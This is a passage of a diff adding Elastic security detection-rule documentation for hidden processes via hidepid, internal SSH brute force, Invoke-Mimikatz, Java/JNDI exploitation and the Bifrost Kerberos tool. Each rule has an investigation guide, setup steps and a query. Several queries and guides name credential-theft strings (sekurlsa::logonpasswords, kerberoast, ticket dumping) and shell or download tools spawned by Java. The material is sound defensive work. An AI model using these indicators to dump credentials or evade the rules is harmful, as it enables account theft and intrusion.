is executed to mount the /proc filesystem, only the root user can see all processes and the logged-in user can only see their own process. This provides a defense evasion mechanism for the adversaries to hide their process executions from all other commands such as ps, top, pgrep and more. With the Linux kernel hardening hidepid option all the user has to do is remount the /proc filesystem with the option, which can now be monitored and detected. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cyberciti.biz/faq/linux-hide-processes-from-other-users/ + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Hidden Process via Mount Hidepid* + + +The 'hidepid' mount option in Linux allows users to restrict visibility of process information in the /proc filesystem, enhancing privacy by limiting process visibility to the owner. Adversaries exploit this by remounting /proc with 'hidepid=2', concealing their processes from non-root users and evading detection tools like ps or top. The detection rule identifies such activity by monitoring for the execution of the mount command with specific arguments, flagging potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the alert details to confirm the presence of the 'mount' process execution with arguments indicating '/proc' and 'hidepid=2'. +- Check the user account associated with the process execution to determine if it is a legitimate administrative user or a potential adversary. +- Investigate the parent process of the 'mount' command to understand the context and origin of the execution, ensuring it is not part of a known or legitimate administrative script. +- Examine recent login activity and user sessions on the host to identify any unauthorized access or suspicious behavior around the time of the alert. +- Analyze other processes running on the system to identify any hidden or suspicious activities that might be related to the use of 'hidepid=2'. +- Review system logs and audit logs for any additional indicators of compromise or related suspicious activities that coincide with the alert. + + +*False positive analysis* + + +- System administrators or automated scripts may remount /proc with hidepid=2 for legitimate privacy or security reasons. To handle this, create exceptions for known administrative scripts or users by excluding their specific command lines or user IDs. +- Some security tools or monitoring solutions might use hidepid=2 as part of their normal operation to enhance system security. Identify these tools and exclude their processes from triggering alerts by adding them to an allowlist. +- Cloud environments or containerized applications might use hidepid=2 to isolate processes for multi-tenant security. Review the environment's standard operating procedures and exclude these known behaviors from detection. +- Regular system updates or maintenance scripts might temporarily use hidepid=2. Document these occurrences and adjust the detection rule to ignore these specific maintenance windows or scripts. +- If using a specific Linux distribution that employs hidepid=2 by default for certain operations, verify these defaults and configure the detection rule to exclude them. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement. +- Use root privileges to remount the /proc filesystem without the 'hidepid=2' option to restore visibility of all processes. +- Conduct a thorough review of running processes and system logs to identify any unauthorized or suspicious activities that may have been concealed. +- Terminate any identified malicious processes and remove any associated files or scripts from the system. +- Change all system and user passwords to prevent unauthorized access, especially if credential theft is suspected. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement enhanced monitoring and alerting for future attempts to use the 'hidepid' option, ensuring rapid detection and response. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "executed", "process_started") and +process.name == "mount" and process.args == "/proc" and process.args == "-o" and process.args : "*hidepid=2*" and +not process.parent.command_line like "/opt/cloudlinux/*" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Hide Artifacts +** ID: T1564 +** Reference URL: https://attack.mitre.org/techniques/T1564/ +* Sub-technique: +** Name: Hidden Files and Directories +** ID: T1564.001 +** Reference URL: https://attack.mitre.org/techniques/T1564/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-internal-linux-ssh-brute-force-detected.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-internal-linux-ssh-brute-force-detected.asciidoc new file mode 100644 index 0000000000..61063ef99b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-internal-linux-ssh-brute-force-detected.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-potential-internal-linux-ssh-brute-force-detected]] +=== Potential Internal Linux SSH Brute Force Detected + +Identifies multiple internal consecutive login failures targeting a user account from the same source address within a short time interval. Adversaries will often brute force login attempts across multiple users with a common or known password, in an attempt to gain access to these accounts. + +*Rule type*: eql + +*Rule indices*: + +* filebeat-* +* logs-system.auth-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 5 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide + +*Version*: 16 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Potential Internal Linux SSH Brute Force Detected* + + +The rule identifies consecutive internal SSH login failures targeting a user account from the same source IP address to the same target host indicating brute force login attempts. + + +*Possible investigation steps* + + +- Investigate the login failure user name(s). +- Investigate the source IP address of the failed ssh login attempt(s). +- Investigate other alerts associated with the user/host during the past 48 hours. +- Identify the source and the target computer and their roles in the IT environment. + + +*False positive analysis* + + +- Authentication misconfiguration or obsolete credentials. +- Service account password expired. +- Infrastructure or availability issue. + + +*Related Rules* + + +- Potential External Linux SSH Brute Force Detected - fa210b61-b627-4e5e-86f4-17e8270656ab +- Potential SSH Password Guessing - 8cb84371-d053-4f4f-bce0-c74990e28f28 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved hosts to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Filebeat. + + +*Filebeat Setup* + +Filebeat is a lightweight shipper for forwarding and centralizing log data. Installed as an agent on your servers, Filebeat monitors the log files or locations that you specify, collects log events, and forwards them either to Elasticsearch or Logstash for indexing. + + +*The following steps should be executed in order to add the Filebeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/filebeat/current/setup-repositories.html[helper guide]. +- To run Filebeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-docker.html[helper guide]. +- To run Filebeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/running-on-kubernetes.html[helper guide]. +- For quick start information for Filebeat refer to the https://www.elastic.co/guide/en/beats/filebeat/8.11/filebeat-installation-configuration.html[helper guide]. +- For complete “Setup and Run Filebeat” information refer to the https://www.elastic.co/guide/en/beats/filebeat/current/setting-up-and-running.html[helper guide]. + + +*Rule Specific Setup Note* + +- This rule requires the “Filebeat System Module” to be enabled. +- The system module collects and parses logs created by the system logging service of common Unix/Linux based distributions. +- To run the system module of Filebeat on Linux follow the setup instructions in the https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-system.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id, source.ip, user.name with maxspan=30s + [ authentication where host.os.type == "linux" and + event.action in ("ssh_login", "user_login") and event.outcome == "failure" and + cidrmatch(source.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", + "192.0.0.0/29", "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", + "192.0.2.0/24", "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", + "100.64.0.0/10", "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", + "::1", "FE80::/10", "FF00::/8") ] with runs = 60 + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Brute Force +** ID: T1110 +** Reference URL: https://attack.mitre.org/techniques/T1110/ +* Sub-technique: +** Name: Password Guessing +** ID: T1110.001 +** Reference URL: https://attack.mitre.org/techniques/T1110/001/ +* Sub-technique: +** Name: Password Spraying +** ID: T1110.003 +** Reference URL: https://attack.mitre.org/techniques/T1110/003/ +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Sub-technique: +** Name: SSH +** ID: T1021.004 +** Reference URL: https://attack.mitre.org/techniques/T1021/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-invoke-mimikatz-powershell-script.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-invoke-mimikatz-powershell-script.asciidoc new file mode 100644 index 0000000000..74c16b0f63 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-invoke-mimikatz-powershell-script.asciidoc @@ -0,0 +1,200 @@ +[[prebuilt-rule-8-19-20-potential-invoke-mimikatz-powershell-script]] +=== Potential Invoke-Mimikatz PowerShell Script + +Mimikatz is a credential dumper capable of obtaining plaintext Windows account logins and passwords, along with many other features that make it useful for testing the security of networks. This rule detects PowerShell script content associated with Invoke-Mimikatz or Mimikatz. + +*Rule type*: query + +*Rule indices*: + +* winlogbeat-* +* logs-windows.powershell* + +*Severity*: critical + +*Risk score*: 99 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/software/S0002/ +* https://raw.githubusercontent.com/EmpireProject/Empire/master/data/module_source/credentials/Invoke-Mimikatz.ps1 +* https://www.elastic.co/security-labs/detect-credential-access + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Resources: Investigation Guide +* Data Source: PowerShell Logs + +*Version*: 215 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Invoke-Mimikatz PowerShell Script* + + +This alert identifies PowerShell script block content on a Windows host that contains strings commonly associated with Mimikatz or Invoke-Mimikatz activity. The matched content is consistent with attempts to access credentials from memory and/or enumerate and export certificates, which can enable rapid privilege escalation and lateral movement. + + +*Key alert fields to review* + + +- `user.name`, `user.domain`, `user.id`: Account execution context for correlation, prioritization, and scoping. +- `host.name`, `host.id`: Host execution context for correlation, prioritization, and scoping. +- `powershell.file.script_block_text`: Script block content that matched the detection logic. +- `powershell.file.script_block_id`, `powershell.sequence`, `powershell.total`: Script block metadata to pivot to other fragments or reconstruct full script content when split across multiple events. +- `file.path`, `file.directory`, `file.name`: File-origin context when the script block is sourced from an on-disk file. +- `powershell.file.script_block_length`: Script block length (size) context. + + +*Possible investigation steps* + + +- Establish basic context and prioritize: + - Use `@timestamp` to define the initial investigation window and identify surrounding activity on the same `host.name` and for the same `user.name`. + - Review `host.name` and `host.id` to determine whether the host is a high-value asset (e.g., administrative workstation, authentication infrastructure, file server) and whether it is expected to run high-risk administrative scripts. + - Review `user.name`, `user.domain`, and `user.id` to determine whether the account is privileged, shared, or service-related, and whether its use on this host is expected. + +- Analyze what the script block indicates: + - Review `powershell.file.script_block_text` and categorize the intent based on the matched strings: + - Credential dumping indicators (e.g., `sekurlsa::logonpasswords`, `DumpCreds`) suggest an attempt to extract authentication material from memory. + - Certificate access indicators (e.g., `crypto::certificates`, `CERT_SYSTEM_STORE_LOCAL_MACHINE`, `DumpCerts`) suggest enumeration and potential export of certificates/keys. + - Determine whether the content appears to be: + - Tool staging (function or module definitions, large scripts) versus + - Direct execution (explicit commands, parameters, or output handling). + Use `powershell.file.script_block_length` as a quick signal for full-module loading versus a short invocation. + - Extract and record any embedded scope details from `powershell.file.script_block_text` (usernames, domains, hostnames, file paths, share paths, or remote endpoints) to guide scoping. + +- Reconstruct full script content when split across multiple events: + - Pivot by `powershell.file.script_block_id` and order by `powershell.sequence` to rebuild the full script block. + - Validate completeness using `powershell.total` (when present) and identify missing fragments that may require expanding the time window or searching for additional related script blocks. + - After reconstruction, re-review the consolidated content for follow-on actions such as output to disk, remote targeting, or additional credential/certificate collection logic. + +- Determine the likely script source and propagation risk: + - If `file.path`, `file.directory`, or `file.name` are present, treat the activity as file-backed PowerShell content: + - Identify whether the path and name align with known administrative scripts in your environment. + - Look for other script blocks referencing the same `file.path` or `file.name` on the same `host.name` to understand reuse and execution frequency. + - If file context is absent, treat the activity as inline/interactive or dynamically generated content and prioritize identifying the initiating execution chain using adjacent telemetry. + +- Scope for additional related activity: + - Search for other occurrences of the same `powershell.file.script_block_text` keywords across the environment, focusing on the same `user.name`/`user.id` and `host.name`/`host.id` first, then widening to other hosts and users. + - Identify whether multiple distinct `powershell.file.script_block_id` values appear for the same user/host within a short period, which can indicate iterative testing, staging, or repeated execution. + +- Correlate with adjacent telemetry in the same time window (if available in your environment): + - Process activity: identify the PowerShell host process and its parent process on `host.name` around `@timestamp` to determine whether execution was interactive, scheduled, or remotely initiated. + - File activity: look for evidence of exported data (credential output, dumps, certificate files) and for newly created or modified scripts consistent with the `file.path` context or references found in `powershell.file.script_block_text`. + - Network activity: review outbound and internal connections from `host.name` around `@timestamp`, especially if the script text references remote systems or suggests staging/exfiltration behavior. + - Authentication activity: review successful and failed authentications involving `user.name` and other accounts referenced in the script text after the alert time to identify potential credential reuse or lateral movement. + + +*False positive analysis* + + +- Authorized security testing and adversary simulation can legitimately execute Mimikatz-related tooling. Validate with the owning team, documented approval, and expected targets and timing. +- Training, lab, or malware analysis environments may execute or store Mimikatz-related scripts for educational purposes. Confirm the host purpose and ensure activity is confined to approved non-production systems. +- Some defensive, auditing, or instructional PowerShell content may include these strings as examples or test cases. Confirm the surrounding script context in `powershell.file.script_block_text` and whether the content represents active execution versus reference text. Unexpected use on production endpoints or by standard users should be treated as suspicious. + + +*Response and remediation* + + +- If activity is confirmed or strongly suspected malicious: + - Contain the affected host (`host.name`) according to your incident response process to limit further credential access and lateral movement. + - Preserve evidence: + - Save the full reconstructed script content (all fragments associated with `powershell.file.script_block_id`) and retain relevant logs around `@timestamp`. + - If `file.path` is present, preserve the referenced script file and any related artifacts identified during triage. + - Assume credential exposure may have occurred when credential dumping indicators are present: + - Initiate credential resets for the involved `user.name` and any other accounts referenced in `powershell.file.script_block_text`, prioritizing privileged and service accounts. + - Review for follow-on authentications and lateral movement originating from `host.name`. + - If certificate access indicators are present: + - Identify potentially impacted certificates and keys, restrict use as appropriate, and coordinate revocation and re-issuance based on your PKI and incident response procedures. + - Expand hunting: + - Search for the same keywords and related script blocks across other hosts and users to determine spread and identify additional affected systems. + +- If activity is determined to be authorized: + - Document the business justification, responsible parties, and approved scope (hosts and users). + - Apply preventive controls to reduce risk of misuse, such as limiting where high-risk tools can run, restricting PowerShell usage to approved accounts and hosts, and enhancing monitoring for future occurrences. + + +==== Setup + + + +*Setup* + + +PowerShell Script Block Logging must be enabled to generate the events used by this rule (e.g., 4104). +Setup instructions: https://ela.st/powershell-logging-setup + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:process and host.os.type:windows and +powershell.file.script_block_text:( + (DumpCreds and + DumpCerts) or + "sekurlsa::logonpasswords" or + ("crypto::certificates" and + "CERT_SYSTEM_STORE_LOCAL_MACHINE") +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Sub-technique: +** Name: LSASS Memory +** ID: T1003.001 +** Reference URL: https://attack.mitre.org/techniques/T1003/001/ +* Technique: +** Name: Steal or Forge Authentication Certificates +** ID: T1649 +** Reference URL: https://attack.mitre.org/techniques/T1649/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-java-jndi-exploitation-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-java-jndi-exploitation-attempt.asciidoc new file mode 100644 index 0000000000..f503f21f1a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-java-jndi-exploitation-attempt.asciidoc @@ -0,0 +1,171 @@ +[[prebuilt-rule-8-19-20-potential-java-jndi-exploitation-attempt]] +=== Potential JAVA/JNDI Exploitation Attempt + +Identifies an outbound network connection by JAVA to LDAP, RMI or DNS standard ports followed by a suspicious JAVA child processes. This may indicate an attempt to exploit a JAVA/NDI (Java Naming and Directory Interface) injection vulnerability. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.lunasec.io/docs/blog/log4j-zero-day/ +* https://github.com/christophetd/log4shell-vulnerable-app +* https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf +* https://www.elastic.co/security-labs/detecting-log4j2-with-elastic-security +* https://www.elastic.co/security-labs/analysis-of-log4shell-cve-2021-45046 + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Execution +* Use Case: Vulnerability +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 108 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential JAVA/JNDI Exploitation Attempt* + + +Java Naming and Directory Interface (JNDI) is a Java API that provides naming and directory functionality, allowing Java applications to discover and look up data and resources via a directory service. Adversaries exploit JNDI by injecting malicious payloads that trigger outbound connections to LDAP, RMI, or DNS services, potentially leading to remote code execution. The detection rule identifies such exploitation attempts by monitoring Java processes making suspicious outbound connections followed by the execution of potentially harmful child processes, such as shell scripts or scripting languages, indicating a possible compromise. + + +*Possible investigation steps* + + +- Review the network logs to confirm the outbound connection attempt by the Java process to the specified ports (1389, 389, 1099, 53, 5353) and identify the destination IP addresses to determine if they are known malicious or suspicious entities. +- Examine the process tree to verify the parent-child relationship between the Java process and any suspicious child processes such as shell scripts or scripting languages (e.g., sh, bash, curl, python). +- Check the command line arguments and environment variables of the suspicious child processes to identify any potentially malicious payloads or commands being executed. +- Investigate the host's recent activity and logs for any other indicators of compromise or unusual behavior that might correlate with the suspected exploitation attempt. +- Assess the system for any unauthorized changes or new files that may have been introduced as a result of the exploitation attempt, focusing on directories commonly used by Java applications. + + +*False positive analysis* + + +- Development and testing environments may trigger false positives when developers use Java applications to test connections to LDAP, RMI, or DNS services. To mitigate this, exclude known development servers or IP ranges from the detection rule. +- Automated scripts or maintenance tasks that involve Java applications making legitimate outbound connections to the specified ports can be mistaken for exploitation attempts. Identify and whitelist these scripts or tasks by their process names or hashes. +- Legitimate Java-based applications that require frequent updates or data retrieval from external services might generate similar network patterns. Monitor and document these applications, then create exceptions for their specific network behaviors. +- Security tools or monitoring solutions that use Java for network scanning or analysis might inadvertently match the rule's criteria. Ensure these tools are recognized and excluded by their process identifiers or network activity profiles. + + +*Response and remediation* + + +- Immediately isolate the affected host from the network to prevent further outbound connections and potential lateral movement. +- Terminate any suspicious Java processes identified in the alert, especially those making outbound connections to LDAP, RMI, or DNS ports. +- Conduct a thorough review of the affected system for any unauthorized changes or additional malicious processes, focusing on child processes like shell scripts or scripting languages. +- Restore the affected system from a known good backup if unauthorized changes or malware are detected. +- Update and patch Java and any related applications to the latest versions to mitigate known vulnerabilities. +- Implement network-level controls to block outbound connections to suspicious or unauthorized LDAP, RMI, or DNS services from Java processes. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to assess the potential impact on other systems within the network. + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=1m + [network where event.action == "connection_attempted" and + process.name : "java" and + /* + outbound connection attempt to + LDAP, RMI or DNS standard ports + by JAVA process + */ + destination.port in (1389, 389, 1099, 53, 5353)] by process.pid + [process where event.type == "start" and + + /* Suspicious JAVA child process */ + process.parent.name : "java" and + process.name : ("sh", + "bash", + "dash", + "ksh", + "tcsh", + "zsh", + "curl", + "perl*", + "python*", + "ruby*", + "php*", + "wget") and + not process.command_line like~ ( + "bash -c ulimit -u", + "bash /opt/flutter/bin/flutter*", + "bash -c echo $$", + "/bin/bash /opt/python3/bin/jira*", + "/bin/sh -c env LC_ALL=C /usr/sbin/lpc status*" + )] by process.parent.pid + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: Python +** ID: T1059.006 +** Reference URL: https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-attack-via-bifrost.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-attack-via-bifrost.asciidoc new file mode 100644 index 0000000000..21978fa4e5 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-potential-kerberos-attack-via-bifrost.asciidoc @@ -0,0 +1,202 @@ +[[prebuilt-rule-8-19-20-potential-kerberos-attack-via-bifrost]] +=== Potential Kerberos Attack via Bifrost + +Identifies use of Bifrost, a known macOS Kerberos pentesting tool, which can be used to dump cached Kerberos tickets or attempt unauthorized authentication techniques such as pass-the-ticket/hash and kerberoasting. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/its-a-feature/bifrost + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 112 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Potential Kerberos Attack via Bifrost* + + +Kerberos is a network authentication protocol designed to provide secure identity verification for users and services. Adversaries exploit tools like Bifrost on macOS to extract Kerberos tickets or perform unauthorized authentications, such as pass-the-ticket attacks. The detection rule identifies suspicious process activities linked to Bifrost's known attack methods, focusing on specific command-line arguments indicative of credential access and lateral movement attempts. + + +*Possible investigation steps* + + +- Review the process start event details to identify the specific command-line arguments used, focusing on those that match the suspicious patterns such as "-action", "-kerberoast", "askhash", "asktgs", "asktgt", "s4u", "-ticket ptt", or "dump tickets/keytab". +- Correlate the process execution with user activity logs to determine if the process was initiated by a legitimate user or an unauthorized account. +- Check for any recent changes in user permissions or group memberships that could indicate privilege escalation attempts. +- Investigate the source and destination of any network connections made by the process to identify potential lateral movement or data exfiltration. +- Analyze historical data for similar process executions or patterns to assess if this is an isolated incident or part of a broader attack campaign. +- Review endpoint security logs for any additional indicators of compromise or related suspicious activities around the time of the alert. + + +*False positive analysis* + + +- Legitimate administrative tasks on macOS systems may trigger the rule if they involve Kerberos ticket management. To handle this, identify and document routine administrative processes that use similar command-line arguments and create exceptions for these specific activities. +- Security tools or scripts designed for Kerberos ticket management or testing may mimic Bifrost's behavior. Review and whitelist these tools if they are part of authorized security assessments or IT operations. +- Automated system processes that interact with Kerberos for legitimate authentication purposes might be flagged. Monitor these processes and exclude them from the rule if they are verified as non-threatening and essential for system operations. +- Developers or IT personnel testing Kerberos configurations in a controlled environment could inadvertently trigger the rule. Ensure that such environments are well-documented and excluded from monitoring to prevent false positives. + + +*Response and remediation* + + +- Immediately isolate the affected macOS host from the network to prevent further unauthorized access or lateral movement. +- Terminate any suspicious processes identified by the detection rule, particularly those involving Bifrost command-line arguments. +- Conduct a thorough review of Kerberos ticket logs and authentication attempts to identify any unauthorized access or anomalies. +- Revoke and reissue Kerberos tickets for affected users and services to ensure no compromised tickets are in use. +- Update and patch the macOS system and any related software to mitigate vulnerabilities that may have been exploited. +- Implement enhanced monitoring for Kerberos-related activities, focusing on unusual patterns or command-line arguments similar to those used by Bifrost. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper 